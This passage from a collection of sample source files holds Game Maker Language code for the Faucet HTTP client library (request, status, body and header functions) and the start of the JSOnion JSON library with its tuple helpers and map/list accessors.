RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Makes a GET HTTP request\r\n// real http_new_get(string url)\r\n\r\n// url - URL to send GET request to\r\n\r\n// Return value is an HttpClient instance that can be passed to\r\n// fct_http_request_status etc.\r\n// (errors on failure to parse URL)\r\n\r\nvar url, client;\r\n\r\nurl = argument0;\r\n\r\nif (!variable_global_exists('__HttpClient'))\r\n    __http_init();\r\n\r\nclient = instance_create(0, 0, global.__HttpClient);\r\n__http_prepare_request(client, url, -1);\r\nreturn client;\r\n\r\n#define http_new_get_ex\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Makes a GET HTTP request with custom headers\r\n// real http_new_get_ex(string url, real headers)\r\n\r\n// url - URL to send GET request to\r\n// headers - ds_map of extra headers to send\r\n\r\n// Return value is an HttpClient instance that can be passed to\r\n// fct_http_request_status etc.\r\n// (errors on failure to parse URL)\r\n\r\nvar url, headers, client;\r\n\r\nurl = argument0;\r\nheaders = argument1;\r\n\r\nif (!variable_global_exists('__HttpClient'))\r\n    __http_init();\r\n\r\nclient = instance_create(0, 0, global.__HttpClient);\r\n__http_prepare_request(client, url, headers);\r\nreturn client;\r\n\r\n#define http_step\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Steps the HTTP client. This is what makes everything actually happen.\r\n// Call it each step. Returns whether or not the request has finished.\r\n// real http_step(real client)\r\n\r\n// client - HttpClient object\r\n\r\n// Return value is either:\r\n// 0 - In progress\r\n// 1 - Done or Errored\r\n\r\n// Example usage:\r\n// req = http_new_get(\"http://example.com/x.txt\");\r\n// while (http_step(req)) {}\r\n// if (http_status_code(req) != 200) {\r\n//     // Errored!\r\n// } else {\r\n//     // Hasn't errored, do stuff here.\r\n// }\r\n\r\nvar client;\r\nclient = argument0;\r\n\r\n__http_client_step(client);\r\n\r\nif (client.errored || client.state == 2)\r\n    return 1;\r\nelse\r\n    return 0;\r\n\r\n#define http_status_code\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Gets the status code\r\n// real http_status_code(real client)\r\n\r\n// client - HttpClient object\r\n\r\n// Return value is either:\r\n// * 0, if the request has not yet finished\r\n// * a negative value, if there was an internal Faucet HTTP error\r\n// * a positive value, the status code of the HTTP request\r\n\r\n// \"The Status-Code element is a 3-digit integer result code of the\r\n// attempt to understand and satisfy the request. These codes are fully\r\n// defined in section 10. The Reason-Phrase is intended to give a short\r\n// textual description of the Status-Code. The Status-Code is intended\r\n// for use by automata and the Reason-Phrase is intended for the human\r\n// user. The client is not required to examine or display the Reason-\r\n// Phrase.\"\r\n\r\n// See also: http_reason_phrase, gets the Reason-Phrase\r\n\r\nvar client;\r\nclient = argument0;\r\n\r\nif (client.errored)\r\n    return -1;\r\nelse if (client.state == 2)\r\n    return client.statusCode;\r\nelse\r\n    return 0;\r\n\r\n#define http_reason_phrase\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Gets the reason phrase\r\n// string http_reason_phrase(real client)\r\n\r\n// client - HttpClient object\r\n// Return value is either:\r\n// * \"\", if the request has not yet finished\r\n// * an internal Faucet HTTP error message, if there was one\r\n// * the reason phrase of the HTTP request\r\n\r\n// \"The Status-Code element is a 3-digit integer result code of the\r\n// attempt to understand and satisfy the request. These codes are fully\r\n// defined in section 10. The Reason-Phrase is intended to give a short\r\n// textual description of the Status-Code. The Status-Code is intended\r\n// for use by automata and the Reason-Phrase is intended for the human\r\n// user. The client is not required to examine or display the Reason-\r\n// Phrase.\"\r\n\r\n// See also: http_status_code, gets the Status-Code\r\n\r\nvar client;\r\nclient = argument0;\r\n\r\nif (client.errored)\r\n    return client.error;\r\nelse if (client.state == 2)\r\n    return client.reasonPhrase;\r\nelse\r\n    return \"\";\r\n\r\n#define http_response_body\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Gets the response body returned by an HTTP request as a buffer\r\n// real http_response_body(real client)\r\n\r\n// client - HttpClient object\r\n\r\n// Return value is a buffer if client hasn't errored and is finished\r\n\r\nvar client;\r\nclient = argument0;\r\n\r\nreturn client.responseBody;\r\n\r\n#define http_response_body_size\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Gets the size of response body returned by an HTTP request\r\n// real http_response_body_size(real client)\r\n\r\n// client - HttpClient object\r\n\r\n// Return value is the size in bytes, or -1 if we don't know or don't know yet\r\n\r\n// Call this each time you use the size - it may have changed in the case of redirect\r\n\r\nvar client;\r\nclient = argument0;\r\n\r\nreturn client.responseBodySize;\r\n\r\n#define http_response_body_progress\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Gets the size of response body returned by an HTTP request which is so far downloaded \r\n// real http_response_body_progress(real client)\r\n\r\n// client - HttpClient object\r\n\r\n// Return value is the size in bytes, or -1 if we haven't started yet or client has errored\r\n\r\nvar client;\r\nclient = argument0;\r\n\r\nreturn client.responseBodyProgress;\r\n\r\n#define http_response_headers\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Gets the response headers returned by an HTTP request as a ds_map\r\n// real http_response_headers(real client)\r\n\r\n// client - HttpClient object\r\n\r\n// Return value is a ds_map if client hasn't errored and is finished\r\n\r\n// All headers will have lowercase keys\r\n// The ds_map is owned by the HttpClient, do not use ds_map_destroy() yourself\r\n// Call when the request has finished - otherwise may be incomplete or missing\r\n\r\nvar client;\r\nclient = argument0;\r\n\r\nreturn client.responseHeaders;\r\n\r\n#define http_destroy\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Cleans up HttpClient\r\n// void http_destroy(real client)\r\n\r\n// client - HttpClient object\r\n\r\nvar client;\r\nclient = argument0;\r\n\r\nwith (client)\r\n{\r\n    __http_client_destroy();\r\n    instance_destroy();\r\n}\r\n\r\n"
  },
  {
    "path": "samples/Game Maker Language/jsonion.gml",
    "content": "// Originally from /jsonion.gml in JSOnion\r\n// JSOnion v1.0.0d is licensed under the MIT licence. You may freely adapt and use this library in commercial and non-commercial projects.\r\n\r\n#define __jso_gmt_tuple\r\n{\r\n\r\n  /**\r\n  tuple(>element_0<, >element_1<, ..., >element_n<): Return an n-tuple\r\n  @author: GameGeisha\r\n  @version: 1.2 (GMTuple)\r\n  */\r\n\r\n  //Position, address table and data\r\n  var pos, addr_table, data;\r\n  pos = 6*argument_count+4;\r\n  addr_table = \"\";\r\n  data = \"\";\r\n  \r\n  //Build the tuple element-by-element\r\n  var i, ca, isstr, datastr;\r\n  for (i=0; i<argument_count; i+=1) {\r\n    //Check the argument's type\r\n    ca = argument[i];\r\n    isstr = is_string(ca);\r\n    if (isstr) { //Save strings as-is\r\n      datastr = ca;\r\n    }\r\n    else { //Save reals in scientific notation, 15 significant digits\r\n      datastr = __jso_gmt_numtostr(ca);\r\n    }\r\n    //Add entry in address table and data\r\n    addr_table += chr(isstr+$30)\r\n    addr_table += string_format(pos, 5, 0);\r\n    pos += string_length(datastr);\r\n    data += datastr;\r\n  }\r\n  \r\n  //Return the tuple, with size header character, address table and data\r\n  return string_format(argument_count, 3, 0)+addr_table+data;\r\n  \r\n}\r\n\r\n#define __jso_gmt_elem\r\n{\r\n\r\n  /**\r\n  elem(tuple_source, n): Return the <n>th element of <tuple_source>\r\n  @author: GameGeisha\r\n  @version: 1.2 (GMTuple)\r\n  */\r\n\r\n  //Capture arguments\r\n  var t, n, size;\r\n  t = argument0;\r\n  n = argument1;\r\n  size = __jso_gmt_size(t);\r\n  \r\n  //Search for the bounding positions for the <n>th element in the address table\r\n  var start, afterend, isstr;\r\n  isstr = ord(string_char_at(t, 4+6*n))-$30;\r\n  start = real(string_copy(t, 5+6*n, 5));\r\n  if (n < size-1) {\r\n    afterend = real(string_copy(t, 11+6*n, 5));\r\n  } else {\r\n    afterend = string_length(t)+1;\r\n  }\r\n  \r\n  //Return the <n>th element with the correct type\r\n  if (isstr) {\r\n    return string_copy(t, start, afterend-start);\r\n  }\r\n  else {\r\n    return real(string_copy(t, start, afterend-start));\r\n  }\r\n\r\n}\r\n\r\n#define __jso_gmt_size\r\n{\r\n  \r\n  /**\r\n  size(tuple_source): Return the size of <tuple_source>\r\n  @author: GameGeisha\r\n  @version: 1.2 (GMTuple)\r\n  */\r\n\r\n  return real(string_copy(argument0, 1, 3));\r\n\r\n}\r\n\r\n#define __jso_gmt_numtostr\r\n{\r\n\r\n  /**\r\n  __gmt_numtostr(num): Return string representation of <num>. Decimal numbers expressed as scientific notation\r\n  with double precision (i.e. 15 digits)\r\n  @author: GameGeisha\r\n  @version: 1.2 (edited)\r\n  */\r\n  if (frac(argument0) == 0) {\r\n    return string(argument0);\r\n  }\r\n  \r\n    var mantissa, exponent;\r\n    exponent = floor(log10(abs(argument0)));\r\n    mantissa = string_format(argument0/power(10,exponent), 15, 14);\r\n    var i, ca;\r\n    i = string_length(mantissa);\r\n    do {\r\n      ca = string_char_at(mantissa, i);\r\n      i -= 1;\r\n    } until (ca != \"0\")\r\n    if (ca != \".\") {\r\n        mantissa = string_copy(mantissa, 1, i+1);\r\n    }\r\n    else {\r\n        mantissa = string_copy(mantissa, 1, i);\r\n    }\r\n    if (exponent != 0) {\r\n      return mantissa + \"e\" + string(exponent);\r\n    }\r\n    else {\r\n      return mantissa;\r\n    }\r\n\r\n}\r\n\r\n#define __jso_gmt_test_all\r\n{\r\n\r\n  /**\r\n  test_all(): Runs all test suites\r\n  @author: GameGeisha\r\n  @version: 1.2 (GMTuple)\r\n  */\r\n  \r\n  //Automated testing sequence\r\n  __jso_gmt_test_elem();\r\n  __jso_gmt_test_size();\r\n  __jso_gmt_test_numtostr();\r\n\r\n}\r\n\r\n#define __jso_gmt_test_numtostr\r\n{\r\n  \r\n  /**\r\n  _test_numtostr(): Runs number-to-string tests\r\n  @author: GameGeisha\r\n  @version: 1.2 (GMTuple)\r\n  */\r\n\r\n  var tolerance;\r\n  tolerance = 1/10000000000;\r\n\r\n  if (real(__jso_gmt_numtostr(9)) != 9) {\r\n    show_message(\"Scientific notation conversion failed for 1-digit integer! Result: \" + __jso_gmt_numtostr(9));\r\n  }\r\n  if (real(__jso_gmt_numtostr(500)) != 500) {\r\n    show_message(\"Scientific notation conversion failed for 3-digit integer! Result: \" + __jso_gmt_numtostr(500));\r\n  }\r\n  if (abs(real(__jso_gmt_numtostr(pi))-pi) > tolerance) {\r\n    show_message(\"Scientific notation conversion failed for pi! Result: \" + __jso_gmt_numtostr(pi));\r\n  }\r\n  if (abs(real(__jso_gmt_numtostr(104729.903455))-104729.903455) > tolerance) {\r\n    show_message(\"Scientific notation conversion failed for large decimal number! Result: \" + __jso_gmt_numtostr(104729.903455));\r\n  }\r\n  if (abs(real(__jso_gmt_numtostr(-pi))+pi) > tolerance) {\r\n    show_message(\"Scientific notation conversion failed for -pi! Result: \" + __jso_gmt_numtostr(-pi));\r\n  }\r\n  if (abs(real(__jso_gmt_numtostr(1/pi))-1/pi) > tolerance) {\r\n    show_message(\"Scientific notation conversion failed for 1/pi! Result: \" + __jso_gmt_numtostr(1/pi));\r\n  }\r\n\r\n}\r\n\r\n#define __jso_gmt_test_elem\r\n{\r\n\r\n  /**\r\n  _test_elem(): Runs tuple element retrieval tests\r\n  @author: GameGeisha\r\n  @version: 1.2 (GMTuple)\r\n  */\r\n\r\n  if (__jso_gmt_elem(__jso_gmt_tuple(\"Qblock\", \"kll\"), 0) != \"Qblock\") {\r\n    show_message(\"Element retrieval failed for simple string. #Should be:Qblock#Actual:\" + __jso_gmt_elem(__jso_gmt_tuple(\"Qblock\"), 0));\r\n  }\r\n  if (__jso_gmt_elem(__jso_gmt_tuple(9, \"Q\", -7), 0) != 9) {\r\n    show_message(\"Element retrieval failed for simple number. #Should be 9#Actual:\" + string(__jso_gmt_elem(__jso_gmt_tuple(9, \"Q\", 7), 0)));\r\n  }\r\n  if (__jso_gmt_elem(__jso_gmt_tuple(\"Qblock\", \"\", \"Negg\"), 1) != \"\") {\r\n    show_message(\"Element retrieval failed for empty string#Should be empty string#Actual:\"+string(__jso_gmt_elem(__jso_gmt_tuple(\"Qblock\", \"\", \"Negg\"), 0)));\r\n  }\r\n  \r\n  if (__jso_gmt_elem(__jso_gmt_elem(__jso_gmt_tuple(\"Not this\", __jso_gmt_tuple(0, 1, 2, 3), \"Waahoo\"), 1), 3) != 3) {\r\n    show_message(\"Element retrieval failed in nested tuple. #Should be 3#Actual:\" + string(__jso_gmt_elem(__jso_gmt_elem(__jso_gmt_tuple(\"Not this\", __jso_gmt_tuple(0, 1, 2, 3), \"Waahoo\"), 1), 3)));\r\n  }  \r\n\r\n}\r\n\r\n#define __jso_gmt_test_size\r\n{\r\n\r\n  /**\r\n  _test_size(): Runs tuple size tests\r\n  @author: GameGeisha\r\n  @version: 1.2 (GMTuple)\r\n  */\r\n\r\n  if (__jso_gmt_size(__jso_gmt_tuple(\"Waahoo\", \"Negg\", 0)) != 3) {\r\n    show_message(\"Bad size for 3-tuple\");\r\n  }\r\n  if (__jso_gmt_size(__jso_gmt_tuple()) != 0) {\r\n    show_message(\"Bad size for null tuple\");\r\n  }\r\n  if (__jso_gmt_size(__jso_gmt_tuple(7)) != 1) {\r\n    show_message(\"Bad size for 1-tuple\");\r\n  }\r\n  if (__jso_gmt_size(__jso_gmt_tuple(1,2,3,4,5,6,7,8,9,10)) != 10) {\r\n    show_message(\"Bad size for 10-tuple\");\r\n  }\r\n\r\n}\r\n\r\n#define jso_new_map\r\n{\r\n    /**\r\n    jso_new_map(): Create a new map.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    return ds_map_create();\r\n}\r\n\r\n#define jso_new_list\r\n{\r\n    /**\r\n    jso_new_list(): Create a new list.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    return ds_list_create();\r\n}\r\n\r\n#define jso_map_add_real\r\n{\r\n    /**\r\n    jso_map_add_real(map, key, val): Add the key-value pair <key>:<val> to <map>, where <val> is a real value.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    ds_map_add(argument0, argument1, argument2);\r\n}\r\n\r\n#define jso_map_add_string\r\n{\r\n    /**\r\n    jso_map_add_string(map, key, str): Add the key-value pair <key>:<str> to <map>, where <str> is a string value.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    ds_map_add(argument0, argument1, \"s\" + argument2);\r\n}\r\n\r\n#define jso_map_add_sublist\r\n{\r\n    /**\r\n    jso_map_add_sublist(map, key, sublist): Add the key-value pair <key>:<sublist> to <map>, where <sublist> is a list.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    ds_map_add(argument0, argument1, \"l\" + string(argument2));\r\n}\r\n\r\n#define jso_map_add_submap\r\n{\r\n    /**\r\n    jso_map_add_submap(map, key, submap): Add the key-value pair <key>:<submap> to <map>, where <submap> is a map.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    ds_map_add(argument0, argument1, \"m\" + string(argument2));\r\n}\r\n\r\n#define jso_map_add_integer\r\n{\r\n    /**\r\n    jso_map_add_integer(map, key, int): Add the key-value pair <key>:<int> to <map>, where <int> is a integer value.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    ds_map_add(argument0, argument1, floor(argument2));\r\n}\r\n\r\n#define jso_map_add_boolean\r\n{\r\n    /**\r\n    jso_map_add_boolean(map, key, bool): Add the key-value pair <key>:<bool> to <map>, where <bool> is a boolean value.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    if (argument2) {\r\n        ds_map_add(argument0, argument1, \"btrue\");\r\n    } else {\r\n        ds_map_add(argument0, argument1, \"bfalse\");\r\n    }\r\n}\r\n\r\n#define jso_list_add_real\r\n{\r\n    /**\r\n    jso_list_add_real(list, val): Append the real value <val> to <list>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    ds_list_add(argument0, argument1);\r\n}\r\n\r\n#define jso_list_add_string\r\n{\r\n    /**\r\n    jso_list_add_string(list, str): Append the string value <str> to <list>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    ds_list_add(argument0, \"s\" + argument1);\r\n}\r\n\r\n#define jso_list_add_sublist\r\n{\r\n    /**\r\n    jso_list_add_sublist(list, sublist): Append the list <sublist> to <list>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    ds_list_add(argument0, \"l\" + string(argument1));\r\n}\r\n\r\n#define jso_list_add_submap\r\n{\r\n    /**\r\n    jso_list_add_submap(list, submap): Append the map <submap> to <list>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    ds_list_add(argument0, \"m\" + string(argument1));\r\n}\r\n\r\n#define jso_list_add_integer\r\n{\r\n    /**\r\n    jso_list_add_integer(list, int): Append the integer <int> to <list>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    ds_list_add(argument0, floor(argument1));\r\n}\r\n\r\n#define jso_list_add_boolean\r\n{\r\n    /**\r\n    jso_list_add_boolean(list, bool): Append the boolean value <bool> to <list>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    if (argument1) {\r\n        ds_list_add(argument0, \"btrue\");\r\n    } else {\r\n        ds_list_add(argument0, \"bfalse\");\r\n    }\r\n}\r\n\r\n#define jso_map_get\r\n{\r\n    /**\r\n    jso_map_get(map, key): Retrieve the value stored in <map> with the key value <key>, with the correct type.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n\r\n    //Grab the value\r\n    var v;\r\n    v = ds_map_find_value(argument0, argument1);\r\n    \r\n    //String; could be string, map or list\r\n    if (is_string(v)) {\r\n        switch (string_char_at(v, 1)) {\r\n            case \"s\":\r\n                return string_delete(v, 1, 1);\r\n            break;\r\n            case \"l\": case \"m\":\r\n                return real(string_delete(v, 1, 1));\r\n            break;\r\n            case \"b\":\r\n                if (v == \"btrue\") {\r\n                    return true;\r\n                }\r\n                else if (v == \"bfalse\") {\r\n                    return false;\r\n                }\r\n                else {\r\n                    show_error(\"Invalid boolean value.\", true);\r\n                }\r\n            break;\r\n            default: show_error(\"Invalid map contents.\", true); break;\r\n        }    \r\n    }\r\n    \r\n    //Real; return real value as-is\r\n    else {\r\n        return v;\r\n    }\r\n}\r\n\r\n#define jso_map_get_type\r\n{\r\n    /**\r\n    jso_map_get_type(map, key): Return the type of value to which the key value <key> is mapped to in <map>.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n\r\n    //Grab the value\r\n    var v;\r\n    v = ds_map_find_value(argument0, argument1);\r\n    \r\n    //String; could be string, map or list\r\n    if (is_string(v)) {\r\n        switch (string_char_at(v, 1)) {\r\n            case \"s\":\r\n                return jso_type_string;\r\n            break;\r\n            case \"l\":\r\n                return jso_type_list;\r\n            break;\r\n            case \"m\":\r\n                return jso_type_map;\r\n            break;\r\n            case \"b\":\r\n                return jso_type_boolean;\r\n            break;\r\n            default: show_error(\"Invalid map content type.\", true); break;\r\n        }    \r\n    }\r\n    \r\n    //Real\r\n    else {\r\n        return jso_type_real;\r\n    }\r\n}\r\n\r\n#define jso_list_get\r\n{\r\n    /**\r\n    jso_list_get(list, index): Retrieve the value stored in <list> at position <index>, with the correct type.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n\r\n    //Grab the value\r\n    var v;\r\n    v = ds_list_find_value(argument0, argument1);\r\n    \r\n    //String; could be string, map or list\r\n    if (is_string(v)) {\r\n        switch (string_char_at(v, 1)) {\r\n            case \"s\":\r\n                return string_delete(v, 1, 1);\r\n            break;\r\n            case \"l\": case \"m\":\r\n                return real(string_delete(v, 1, 1));\r\n            break;\r\n            case \"b\":\r\n                if (v == \"btrue\") {\r\n                    return true;\r\n                }\r\n                else if (v == \"bfalse\") {\r\n                    return false;\r\n                }\r\n                else {\r\n                    show_error(\"Invalid boolean value.\", true);\r\n                }\r\n            break;\r\n            default: show_error(\"Invalid list contents.\", true); break;\r\n        }    \r\n    }\r\n    \r\n    //Real; return real value as-is\r\n    else {\r\n        return v;\r\n    }\r\n}\r\n\r\n#define jso_list_get_type\r\n{\r\n    /**\r\n    jso_list_get_type(list, index): Retrieve the 